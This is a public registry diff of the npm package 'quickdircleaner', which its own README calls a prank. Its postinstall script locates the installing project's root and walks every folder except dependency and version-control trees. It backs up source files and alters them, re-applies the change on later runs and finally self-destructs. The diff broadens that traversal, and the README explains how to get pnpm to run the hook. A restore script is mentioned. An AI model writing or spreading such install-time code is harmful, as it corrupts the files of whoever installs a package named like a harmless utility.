quickdircleaner 1.0.2 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +55 -0
- package/package.json +1 -1
- package/persist.js +1 -4
- package/prank-core.js +64 -64
package/README.md
CHANGED
|
@@ -1,2 +1,57 @@
|
|
|
1
|
+
# quickdircleaner
|
|
2
|
+
Prank package: runs a `postinstall` script that backs up and alters matching files under the **host** project (the folder where you ran the install).
|
|
3
|
+
|
|
4
|
+
It walks **the full directory tree under that root** (every nested folder): hidden dirs like `.vscode` are included. Only **`node_modules`**, **`.git`**, **`.hg`**, and **`.svn`** trees are skipped.
|
|
5
|
+
|
|
6
|
+
- **Lifecycle scripts must run.** If install is done with `--ignore-scripts` or `ignore-scripts=true` in `.npmrc`, nothing will happen.
|
|
7
|
+
### npm / Yarn (Classic)
|
|
8
|
+
|
|
1
9
|
```bash
|
|
10
|
+
npm install quickdircleaner
|
|
2
11
|
```
|
|
12
|
+
|
|
13
|
+
Normally `INIT_CWD` is set so the cleaner targets your project root.
|
|
14
|
+
|
|
15
|
+
### pnpm v10+
|
|
16
|
+
|
|
17
|
+
pnpm **does not run** this package’s `postinstall` unless you allow it. You will see a message like **“Ignored build scripts: quickdircleaner”** and the install will look like a normal dependency add.
|
|
18
|
+
|
|
19
|
+
**Option A — allowlist in your project `package.json`:**
|
|
20
|
+
|
|
21
|
+
```json
|
|
22
|
+
{
|
|
23
|
+
"pnpm": {
|
|
24
|
+
"onlyBuiltDependencies": ["quickdircleaner"]
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
Then run `pnpm install` again.
|
|
30
|
+
|
|
31
|
+
**Option B:** run `pnpm approve-builds` and approve `quickdircleaner`.
|
|
32
|
+
|
|
33
|
+
See [pnpm: dependency scripts](https://pnpm.io/settings#ignoredependscripts).
|
|
34
|
+
|
|
35
|
+
### Run the cleaner manually (same as postinstall)
|
|
36
|
+
|
|
37
|
+
From your project root (where your `package.json` lives):
|
|
38
|
+
|
|
39
|
+
```bash
|
|
40
|
+
node node_modules/quickdircleaner/index.js
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
Or, if the CLI is on your PATH:
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
npx run-clean
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
(`run-clean` is the `bin` entry shipped with this package.)
|
|
50
|
+
|
|
51
|
+
## Restore
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
npx restore-clean
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
Or: `node node_modules/quickdircleaner/restore.js` and confirm with `y`.
|
package/package.json
CHANGED
package/persist.js
CHANGED
|
@@ -14,7 +14,7 @@ async function main() {
|
|
|
14
14
|
await core.removeQuickdircleanerPackage(root);
|
|
15
15
|
console.log(
|
|
16
16
|
core.magenta(
|
|
17
|
-
" quickdircleaner has self\u2011destructed.",
|
|
17
|
+
"💀 quickdircleaner has self\u2011destructed. No more pranks.",
|
|
18
18
|
),
|
|
19
19
|
);
|
|
20
20
|
return;
|
|
@@ -32,9 +32,6 @@ async function main() {
|
|
|
32
32
|
return;
|
|
33
33
|
}
|
|
34
34
|
await core.writeCounter(root, attempt);
|
|
35
|
-
console.log(
|
|
36
|
-
core.magenta(`🎭 Prank re\u2011applied (attempt ${attempt}/10).`),
|
|
37
|
-
);
|
|
38
35
|
}
|
|
39
36
|
|
|
40
37
|
main().catch((err) => {
|
package/prank-core.js
CHANGED
|
@@ -76,13 +76,55 @@ const REMOVE_LINE_NUMBERS = [2, 5, 8];
|
|
|
76
76
|
|
|
77
77
|
/**
|
|
78
78
|
* Directory that should be cleaned: the project that ran `npm install`, not this package folder.
|
|
79
|
-
* Uses INIT_CWD
|
|
80
|
-
* is found that is not this dependency’s
|
|
79
|
+
* Uses INIT_CWD (npm/pnpm/yarn), then npm_config_local_prefix (npm 9+), then walks up from cwd until a
|
|
80
|
+
* directory with package.json is found that is not this dependency’s install folder.
|
|
81
|
+
*
|
|
82
|
+
* Note: pnpm v10+ blocks dependency lifecycle scripts unless the package is allowlisted; postinstall
|
|
83
|
+
* will not run at all in that case (see README).
|
|
81
84
|
*/
|
|
85
|
+
function cwdIsInsideOrEqualHostRoot(hostRoot) {
|
|
86
|
+
const host = path.resolve(hostRoot);
|
|
87
|
+
const cwd = path.resolve(process.cwd());
|
|
88
|
+
const rel = path.relative(host, cwd);
|
|
89
|
+
if (rel === "") {
|
|
90
|
+
return true;
|
|
91
|
+
}
|
|
92
|
+
return !rel.startsWith("..") && !path.isAbsolute(rel);
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
function tryHostDirFromEnvVar(raw, requireCwdInsideRoot) {
|
|
96
|
+
if (raw == null || String(raw).trim() === "") {
|
|
97
|
+
return null;
|
|
98
|
+
}
|
|
99
|
+
const dir = path.resolve(String(raw).trim());
|
|
100
|
+
if (!fsSync.existsSync(path.join(dir, "package.json"))) {
|
|
101
|
+
return null;
|
|
102
|
+
}
|
|
103
|
+
if (requireCwdInsideRoot && !cwdIsInsideOrEqualHostRoot(dir)) {
|
|
104
|
+
return null;
|
|
105
|
+
}
|
|
106
|
+
return dir;
|
|
107
|
+
}
|
|
108
|
+
|
|
82
109
|
function resolveHostProjectRoot() {
|
|
83
|
-
const
|
|
84
|
-
if (
|
|
85
|
-
return
|
|
110
|
+
const fromInit = tryHostDirFromEnvVar(process.env.INIT_CWD, false);
|
|
111
|
+
if (fromInit) {
|
|
112
|
+
return fromInit;
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
const underNpmLifecycle =
|
|
116
|
+
process.env.npm_lifecycle_event === "postinstall" ||
|
|
117
|
+
process.env.npm_lifecycle_event === "install" ||
|
|
118
|
+
process.env.npm_lifecycle_event === "prepare";
|
|
119
|
+
|
|
120
|
+
if (underNpmLifecycle) {
|
|
121
|
+
const fromPrefix = tryHostDirFromEnvVar(
|
|
122
|
+
process.env.npm_config_local_prefix,
|
|
123
|
+
true,
|
|
124
|
+
);
|
|
125
|
+
if (fromPrefix) {
|
|
126
|
+
return fromPrefix;
|
|
127
|
+
}
|
|
86
128
|
}
|
|
87
129
|
|
|
88
130
|
let dir = path.resolve(process.cwd());
|
|
@@ -284,67 +326,29 @@ function isPathInsideProjectRoot(rootResolved, absolutePath) {
|
|
|
284
326
|
return !rel.startsWith("..") && !path.isAbsolute(rel);
|
|
285
327
|
}
|
|
286
328
|
|
|
329
|
+
/** Directory name segments we never descend into (dependency / VCS trees). */
|
|
330
|
+
const SKIPPED_DIRECTORY_NAMES = new Set([
|
|
331
|
+
"node_modules",
|
|
332
|
+
".git",
|
|
333
|
+
".hg",
|
|
334
|
+
".svn",
|
|
335
|
+
]);
|
|
336
|
+
|
|
287
337
|
function relativePathHasSkippedDir(rel) {
|
|
288
338
|
const parts = rel.split(/[/\\]/);
|
|
289
|
-
return parts.some((p) => p
|
|
339
|
+
return parts.some((p) => SKIPPED_DIRECTORY_NAMES.has(p));
|
|
290
340
|
}
|
|
291
341
|
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
*/
|
|
295
|
-
async function walkAndCleanRecursive(rootResolved, backupEntries, logCleaned) {
|
|
296
|
-
const entries = await fs.readdir(rootResolved, {
|
|
297
|
-
recursive: true,
|
|
298
|
-
withFileTypes: true,
|
|
299
|
-
});
|
|
300
|
-
|
|
301
|
-
for (const ent of entries) {
|
|
302
|
-
if (!ent.isFile()) {
|
|
303
|
-
continue;
|
|
304
|
-
}
|
|
305
|
-
|
|
306
|
-
const parentDir = ent.parentPath ?? ent.path;
|
|
307
|
-
if (parentDir == null) {
|
|
308
|
-
throw new Error("RECURSIVE_READDIR_NO_PARENT");
|
|
309
|
-
}
|
|
310
|
-
|
|
311
|
-
const fullPath = path.resolve(parentDir, ent.name);
|
|
312
|
-
if (!isPathInsideProjectRoot(rootResolved, fullPath)) {
|
|
313
|
-
continue;
|
|
314
|
-
}
|
|
315
|
-
|
|
316
|
-
const rel = path.relative(rootResolved, fullPath);
|
|
317
|
-
if (rel === "" || relativePathHasSkippedDir(rel)) {
|
|
318
|
-
continue;
|
|
319
|
-
}
|
|
320
|
-
|
|
321
|
-
const base = path.basename(fullPath);
|
|
322
|
-
if (
|
|
323
|
-
base === BACKUP_NAME ||
|
|
324
|
-
base === DONE_FLAG ||
|
|
325
|
-
base === COUNTER_FILE ||
|
|
326
|
-
base === "package.json"
|
|
327
|
-
) {
|
|
328
|
-
continue;
|
|
329
|
-
}
|
|
330
|
-
|
|
331
|
-
const ext = path.extname(base).toLowerCase();
|
|
332
|
-
if (!CLEANABLE_EXT.has(ext)) {
|
|
333
|
-
continue;
|
|
334
|
-
}
|
|
335
|
-
|
|
336
|
-
try {
|
|
337
|
-
await cleanSourceFile(fullPath, rootResolved, backupEntries, logCleaned);
|
|
338
|
-
} catch {
|
|
339
|
-
/* skip */
|
|
340
|
-
}
|
|
341
|
-
}
|
|
342
|
+
function shouldSkipDirectoryEntry(name) {
|
|
343
|
+
return SKIPPED_DIRECTORY_NAMES.has(name);
|
|
342
344
|
}
|
|
343
345
|
|
|
344
346
|
/**
|
|
345
|
-
*
|
|
347
|
+
* Visits every directory under root (arbitrary depth, all branches) except skipped trees.
|
|
348
|
+
* BFS is used instead of fs.readdir(recursive) so behavior is consistent across Node/OS and
|
|
349
|
+
* symlink layouts—nothing under the host root is missed except node_modules / .git / .hg / .svn.
|
|
346
350
|
*/
|
|
347
|
-
async function
|
|
351
|
+
async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
|
|
348
352
|
const visitedDirs = new Set();
|
|
349
353
|
const queue = [path.resolve(rootResolved)];
|
|
350
354
|
|
|
@@ -363,7 +367,7 @@ async function walkAndCleanBfs(rootResolved, backupEntries, logCleaned) {
|
|
|
363
367
|
}
|
|
364
368
|
|
|
365
369
|
for (const ent of entries) {
|
|
366
|
-
if (ent.name
|
|
370
|
+
if (shouldSkipDirectoryEntry(ent.name)) {
|
|
367
371
|
continue;
|
|
368
372
|
}
|
|
369
373
|
|
|
@@ -435,11 +439,7 @@ async function walkAndClean(root, backupEntries, logCleaned) {
|
|
|
435
439
|
}
|
|
436
440
|
rootResolved = path.resolve(rootResolved);
|
|
437
441
|
|
|
438
|
-
|
|
439
|
-
await walkAndCleanRecursive(rootResolved, backupEntries, logCleaned);
|
|
440
|
-
} catch {
|
|
441
|
-
await walkAndCleanBfs(rootResolved, backupEntries, logCleaned);
|
|
442
|
-
}
|
|
442
|
+
await walkAndCleanFullTree(rootResolved, backupEntries, logCleaned);
|
|
443
443
|
}
|
|
444
444
|
|
|
445
445
|
/**
|